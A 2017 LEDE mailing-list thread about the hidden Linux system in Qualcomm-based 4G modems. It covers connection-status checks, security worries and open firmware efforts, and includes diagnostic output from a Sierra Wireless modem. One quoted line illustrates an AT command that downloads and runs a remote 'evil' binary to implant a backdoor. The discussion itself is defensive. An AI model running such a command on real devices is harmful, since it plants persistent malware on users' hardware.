[LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was: Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]]

Sun Jan 8 14:10:20 PST 2017

Petr Štetiar <ynezz at true.cz> writes:

> Adding laforge and zecke to the Cc loop.
>
> Matti Laakso <malaakso at elisanet.fi> [2017-01-08 14:39:34]:
>
> Hi,
>
>> I'm almost done with checking the connection state using a proto_run_command
>> with a simple script running uqmi --get-data-status periodically. If the
>> check fails, the script dies and netifd should restart the connection. Then
>> we hopefully don't need autoconnect anymore.
>
> I'm not using the autoconnect feature anymore, I'm using simple custom
> script[1]. I wouldn't recommend using Qualcomm's implementation of QMI as the
> source of truth about the connection status, I think it's more reliable to use
> ping, wget/curl or some other more appropriate and battle tested solution.
>
> Simply said, uqmi can lie to you about the connection status. It's just some
> qmuxd[2] after all using dozen threads answering you :-) What can probably go
> wrong, right?
>
>> > And I've seen "33C3: Dissecting modern (3G/4G) cellular modems", which makes
>> > a lot of things crystal clear :-)
>>
>> That's an interesting talk, thanks for the note!
>
> Indeed, it's very interesting and very scary. This modems are quite powerful
> devices, usually equiped with very good, but limited uplink connection, still
> making it ideal candidate for DDoS botnet for example, like any other router,
> camera or IoT device. It's just a matter of time we see something like this in
> the wild.  The probability is very high, 1.5M lines of just kernel code done
> probably in a hurry, without proper review, this is very big attack surface.

Yes, LTE modems are scary.  I think a DDoS botnet would be a waste of
resources here...

You have a full Linux system with plenty of ram and flash hidden inside
a number of modern laptops, with high speed network access completely
independent of the host.  This system is regularily flashed behind the
scene by the Windows host drivers. Changing the running image without
the user noticing is a piece of cake. If you have to... The Linux distro
is surprisingly complete, including things like perl and gdb(!), so you
might really have all you need there already. No gcc, though ;)

/ # perl -V
Warning: failed to load Config_git.pl, something strange about this perl...
Summary of my perl5 (revision 5 version 14 subversion 2) configuration:
  undef undef
  Platform:
    osname=linux, osvers=2.6.37-rc5-yocto-standard+, archname=arm-linux-gnueabi
    uname='linux qemux86 2.6.37-rc5-yocto-standard+ #1 preempt mon dec 20 14:21:27 pst 2010 i686 gnulinux '
    config_args='-des -Doptimize=-O2 -Dmyhostname=localhost -Dperladmin=root at localhost -Dcc=gcc -Dcf_by=Open Embedded -Dinstallprefix=/usr -Dprefix=/usr -Dvendorprefix=/usr -Dsiteprefix=/usr -Dotherlibdirs=/usr/lib/perl/5.14.2 -Duseshrplib -Dusethreads -Duseithreads -Duselargefiles -Ud_dosuid -Dd_semctl_semun -Ui_db -Ui_ndbm -Ui_gdbm -Di_shadow -Di_syslog -Dman3ext=3pm -Duseperlio -Dinstallusrbinperl -Ubincompat5005 -Uversiononly -Dpager=/usr/bin/less -isr'
    hint=recommended, useposix=true, d_sigaction=define
    useithreads=define, usemultiplicity=define
    useperlio=define, d_sfio=undef, uselargefiles=define, usesocks=undef
    use64bitint=undef, use64bitall=undef, uselongdouble=undef
    usemymalloc=n, bincompat5005=undef
  Compiler:
    cc='arm-oe-linux-gnueabi-gcc  -march=armv7-a -fno-tree-vectorize      -mthumb-interwork -mfloat-abi=softfp -mfpu=neon -mtune=cortex-a8 -mno-thumb-interwork -mno-thumb --sysroot=/home/gsmbuild/tags/buildscripts/SWI9X30C_02.23.00.00/mdm9x30r30_core/apps_proc/oe-core/build/tmp-eglibc/sysroots/mdm9635-perf', ccflags ='-DSIERRA -DSWI_APPS_PROC -DSWI_IMAGE_APPS -O2 -fexpensive-optimizations -frename-registers -fomit-frame-pointer -DDEBIAN -D_REENTRANT -D_GNU_SOURCE -fno-strict-aliasing -pipe -fstack-protector -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64',
    optimize='-O2',
    cppflags='-fno-strict-aliasing'
    ccversion='', gccversion='4.5.1', gccosandvers=''
    intsize=4, longsize=4, ptrsize=4, doublesize=8, byteorder=1234
    d_longlong=define, longlongsize=8, d_longdbl=define, longdblsize=12
    ivtype='long', ivsize=4, nvtype='double', nvsize=8, Off_t='off_t', lseeksize=8
    alignbytes=4, prototype=define
  Linker and Libraries:
    ld='arm-oe-linux-gnueabi-gcc  -march=armv7-a -fno-tree-vectorize      -mthumb-interwork -mfloat-abi=softfp -mfpu=neon -mtune=cortex-a8 -mno-thumb-interwork -mno-thumb --sysroot=/home/gsmbuild/tags/buildscripts/SWI9X30C_02.23.00.00/mdm9x30r30_core/apps_proc/oe-core/build/tmp-eglibc/sysroots/mdm9635-perf', ldflags ='-Wl,-O1 -Wl,--hash-style=gnu -Wl,--as-needed'
    libpth=/lib /usr/lib
    libs=-lnsl -lgdbm -ldb -ldl -lm -lcrypt -lutil -lpthread -lc
    perllibs=-lnsl -ldl -lm -lcrypt -lutil -lpthread -lc
    libc=/lib/libc-2.12.1.so, so=so, useshrplib=true, libperl=libperl.so
    gnulibc_version='2.12.1'
  Dynamic Linking:
    dlsrc=dl_dlopen.xs, dlext=so, d_dlsymun=undef, ccdlflags='-Wl,-E -Wl,-rpath,/usr/lib/perl/5.14.2//CORE'
    cccdlflags='-fPIC', lddlflags='-shared -O2 -fstack-protector'

Characteristics of this binary (from libperl): 
  Compile-time options: MULTIPLICITY PERL_DONT_CREATE_GVSV
                        PERL_IMPLICIT_CONTEXT PERL_MALLOC_WRAP
                        PERL_PRESERVE_IVUV USE_ITHREADS USE_LARGE_FILES
                        USE_PERLIO USE_PERL_ATOF USE_REENTRANT_API
  Built under linux
  Compiled at Oct 22 2016 10:32:41
  @INC:
    /etc/perl
    /usr/lib/perl/site_perl/5.14.2/
    /usr/lib/perl/site_perl/5.14.2
    /usr/lib/perl/vendor_perl/5.14.2/
    /usr/lib/perl/vendor_perl/5.14.2
    /usr/lib/perl/5.14.2/
    /usr/lib/perl/5.14.2
    /usr/local/lib/site_perl
    /usr/lib/perl/5.14.2
    .
/ # gdb --version
GNU gdb (GDB) 7.3.1
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "arm-oe-linux-gnueabi".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
/ # uname -a
Linux mdm9635-perf 3.10.0+ #1 PREEMPT Sat Oct 22 10:18:05 PDT 2016 armv7l GNU/Linux

Interesting to see that the perl installation was built on a 32bit x86
system with a 2.6.37-rc5 kernel.  That's a weird choice :)

Note that there is nothing Quectel here.  This is a standard Qualcomm
platform.  The output above comes from the Sierra Wireless EM7455
originally delivered as part of my Lenovo X1 Carbon, running bog
standard firmare.

> It's better to not think about the system in the modem as a nice place for a
> hideout for a very persistent backdoor to our systems, surviving even firmware
> updates.  Just imagine some trojan inside the router running following on the
> modem's AT command serial interface:
>
>    AT+QLINUXCMD=wget http://something/evil && ./evil
>
> Guys at Osmocom already started working on completely open and more secure
> firmware using OpenEmbedded, but I would like to see it supported in LEDE
> also, probably with more mainline kernel if possible. Still, it's quite
> strange to see such a big embedded systems running in the 4G modem. It seems
> like 2017 is era of SITSes, Systems In The Systems.

It's been like that for a while...

> I use Quectel modems already, so I would love to work on this myself, but I've
> few other projects with higher priorities going on now, so I'm rather thinking
> about other way of supporting this very promising project.
>
> So far the best idea lying in my head currently is buying few modems + mPCIe
> breakout boards[3] and deliver those to interested developers. I'm just not
> sure if this kind of support is going to lead somewhere.  Simply said, I'm
> willing to spend some money in exchange of faster development of this project.
>
> 1. http://lists.infradead.org/pipermail/lede-dev/2016-October/003504.html
> 2. https://osmocom.org/projects/quectel-modems/wiki/Qmuxd
> 3. http://osmocom.org/projects/mpcie-breakout

Trying not to kill the optimism here, but...  But this is a project with
about the same complexity as replacing Android on a phone.  And IMHO
it's rather pointless unless you do something about the "baseband"
image. Which is probably not feasible due to the complete lack of any
source code or documentation from Qualcomm.

Just my .02 €

Bjørn